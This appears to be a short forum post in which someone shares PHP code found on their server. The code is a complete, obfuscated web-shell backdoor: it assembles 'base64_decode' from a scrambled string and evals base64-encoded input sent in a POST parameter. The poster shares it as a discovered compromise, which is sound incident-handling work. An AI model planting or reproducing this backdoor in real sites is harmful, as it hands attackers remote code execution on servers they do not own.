Some code we found on our server, pretty bad

<?php
$euuy52= "stbeo6_cpa4d" ;
$ptj62= strtolower ($euuy52[2]. $euuy52[9]. $euuy52[0]. $euuy52[3].$euuy52[5].$euuy52[10].$euuy52[6].$euuy52[11].$euuy52[3].$euuy52[7]. $euuy52[4]. $euuy52[11].$euuy52[3]) ;

//base64_decode

$dii18= strtoupper (
$euuy52[6].$euuy52[8]. $euuy52[4]. $euuy52[0]. $euuy52[1]);

// _post


if( isset( $_POST['n59a097' ] ) ){
  eval (
    $ptj62( $_POST[ 'n59a097']) ) ;
}

?>